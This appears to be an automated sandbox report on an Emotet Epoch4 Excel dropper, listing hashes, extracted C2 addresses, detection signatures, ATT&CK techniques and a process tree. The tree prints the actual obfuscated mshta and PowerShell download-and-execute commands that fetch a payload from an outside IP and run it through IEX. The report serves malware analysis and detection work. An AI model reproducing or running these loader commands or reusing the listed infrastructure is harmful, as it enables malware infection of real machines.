emotet | e5f7c1f04f9057742b40ff1383040d2326c9cb981cdeb9ccebec4c9467fdece2

General

Target

e5f7c1f04f9057742b40ff1383040d2326c9cb981cdeb9ccebec4c9467fdece2.xls
Size

128KB
MD5

28bf917143932c4f39e2580eac6741d6
SHA1

0c45b4386b3203b1003e70ce82feb3a182da3483
SHA256

e5f7c1f04f9057742b40ff1383040d2326c9cb981cdeb9ccebec4c9467fdece2
SHA512

0b6aea9905cdbd8bedda7118f47b14b79517fe1da2e9bcc5319253ca154f47a0286af9ace721780ca42f3c427461e52d1f797cfd724b2553e9c45e664e6a02c0

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/cc.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/PP91.PNG

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1968	3972	cmd.exe	68

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow	pid	Process
38	3912	mshta.exe
41	2116	powershell.exe
43	2116	powershell.exe
45	2116	powershell.exe
56	856	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid	Process
1948	rundll32.exe
3236	rundll32.exe

Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Pnrpkbtekdawcwd\mkihlugxlihjcp.oqv	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

Processes:

WerFault.exe

pid	pid_target	Process	procid_target
1056	3912	WerFault.exe	74

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid	Process
3972	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	Process
2116	powershell.exe
2116	powershell.exe
1056	WerFault.exe
1056	WerFault.exe
1056	WerFault.exe
1056	WerFault.exe
1056	WerFault.exe
1056	WerFault.exe
1056	WerFault.exe
1056	WerFault.exe
1056	WerFault.exe
1056	WerFault.exe
1056	WerFault.exe
1056	WerFault.exe
1056	WerFault.exe
1056	WerFault.exe
2116	powershell.exe
856	rundll32.exe
856	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description	pid	Process
Token: SeDebugPrivilege	2116	powershell.exe
Token: SeDebugPrivilege	1056	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	Process
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	Process	procid_target
PID 3972 wrote to memory of 1968	3972	EXCEL.EXE	72
PID 3972 wrote to memory of 1968	3972	EXCEL.EXE	72
PID 1968 wrote to memory of 3912	1968	cmd.exe	74
PID 1968 wrote to memory of 3912	1968	cmd.exe	74
PID 3912 wrote to memory of 2116	3912	mshta.exe	76
PID 3912 wrote to memory of 2116	3912	mshta.exe	76
PID 2116 wrote to memory of 2984	2116	powershell.exe	79
PID 2116 wrote to memory of 2984	2116	powershell.exe	79
PID 2984 wrote to memory of 1948	2984	cmd.exe	80
PID 2984 wrote to memory of 1948	2984	cmd.exe	80
PID 2984 wrote to memory of 1948	2984	cmd.exe	80
PID 1948 wrote to memory of 3236	1948	rundll32.exe	81
PID 1948 wrote to memory of 3236	1948	rundll32.exe	81
PID 1948 wrote to memory of 3236	1948	rundll32.exe	81
PID 3236 wrote to memory of 1676	3236	rundll32.exe	84
PID 3236 wrote to memory of 1676	3236	rundll32.exe	84
PID 3236 wrote to memory of 1676	3236	rundll32.exe	84
PID 1676 wrote to memory of 856	1676	rundll32.exe	85
PID 1676 wrote to memory of 856	1676	rundll32.exe	85
PID 1676 wrote to memory of 856	1676	rundll32.exe	85

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\e5f7c1f04f9057742b40ff1383040d2326c9cb981cdeb9ccebec4c9467fdece2.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3972
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1968
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/cc.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:3912
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2116
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2984
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1948
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3236
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Pnrpkbtekdawcwd\mkihlugxlihjcp.oqv",srwqrilVm
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1676
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Pnrpkbtekdawcwd\mkihlugxlihjcp.oqv",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:856
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3912 -s 1640
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1056

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Public\Documents\ssd.dll

MD5
e5fcf505c25e66116f288a8ae28d2c8a

SHA1
e597f6439a01aad82e153e0de647f54ad82b58d3

SHA256
63996a39755e84ee8b5d3f47296991362a17afaaccf2ac43207a424a366f4cc9

SHA512
ba8e09ab2b234836b39e07e7f3c1a394c57674bcd4959873ca324af14b2bb31fcc26feaba47fd55bf0fe572345f71a72851fe3b3c92664b3195eb9c683909eb1

Download Submit
\Users\Public\Documents\ssd.dll

MD5
e5fcf505c25e66116f288a8ae28d2c8a

SHA1
e597f6439a01aad82e153e0de647f54ad82b58d3

SHA256
63996a39755e84ee8b5d3f47296991362a17afaaccf2ac43207a424a366f4cc9

SHA512
ba8e09ab2b234836b39e07e7f3c1a394c57674bcd4959873ca324af14b2bb31fcc26feaba47fd55bf0fe572345f71a72851fe3b3c92664b3195eb9c683909eb1

Download Submit
\Users\Public\Documents\ssd.dll

MD5
e5fcf505c25e66116f288a8ae28d2c8a

SHA1
e597f6439a01aad82e153e0de647f54ad82b58d3

SHA256
63996a39755e84ee8b5d3f47296991362a17afaaccf2ac43207a424a366f4cc9

SHA512
ba8e09ab2b234836b39e07e7f3c1a394c57674bcd4959873ca324af14b2bb31fcc26feaba47fd55bf0fe572345f71a72851fe3b3c92664b3195eb9c683909eb1

Download Submit
memory/856-358-0x00000000043C0000-0x00000000043E6000-memory.dmp

Filesize
152KB

Download
memory/1676-350-0x0000000004840000-0x0000000004866000-memory.dmp

Filesize
152KB

Download
memory/2116-327-0x0000023C2AE10000-0x0000023C42EF0000-memory.dmp

Filesize
384.9MB

Download
memory/2116-332-0x0000023C2AE10000-0x0000023C42EF0000-memory.dmp

Filesize
384.9MB

Download
memory/2116-277-0x0000023C42E80000-0x0000023C42EA2000-memory.dmp

Filesize
136KB

Download
memory/2116-296-0x0000023C43130000-0x0000023C4316C000-memory.dmp

Filesize
240KB

Download
memory/2116-307-0x0000023C436D0000-0x0000023C43746000-memory.dmp

Filesize
472KB

Download
memory/2116-317-0x0000023C2AE10000-0x0000023C42EF0000-memory.dmp

Filesize
384.9MB

Download
memory/3236-343-0x00000000045A0000-0x00000000045C6000-memory.dmp

Filesize
152KB

Download
memory/3236-338-0x0000000000BB0000-0x0000000000BD6000-memory.dmp

Filesize
152KB

Download
memory/3236-341-0x00000000044C0000-0x00000000044E6000-memory.dmp

Filesize
152KB

Download
memory/3972-115-0x00007FFE91410000-0x00007FFE91420000-memory.dmp

Filesize
64KB

Download
memory/3972-118-0x00007FFE91410000-0x00007FFE91420000-memory.dmp

Filesize
64KB

Download
memory/3972-121-0x00007FFE91410000-0x00007FFE91420000-memory.dmp

Filesize
64KB

Download
memory/3972-128-0x00007FFE8D940000-0x00007FFE8D950000-memory.dmp

Filesize
64KB

Download
memory/3972-129-0x00007FFE8D940000-0x00007FFE8D950000-memory.dmp

Filesize
64KB

Download
memory/3972-117-0x00007FFE91410000-0x00007FFE91420000-memory.dmp

Filesize
64KB

Download
memory/3972-116-0x00007FFE91410000-0x00007FFE91420000-memory.dmp

Filesize
64KB

Download
memory/3972-393-0x00007FFE91410000-0x00007FFE91420000-memory.dmp

Filesize
64KB

Download
memory/3972-394-0x00007FFE91410000-0x00007FFE91420000-memory.dmp

Filesize
64KB

Download
memory/3972-395-0x00007FFE91410000-0x00007FFE91420000-memory.dmp

Filesize
64KB

Download
memory/3972-396-0x00007FFE91410000-0x00007FFE91420000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads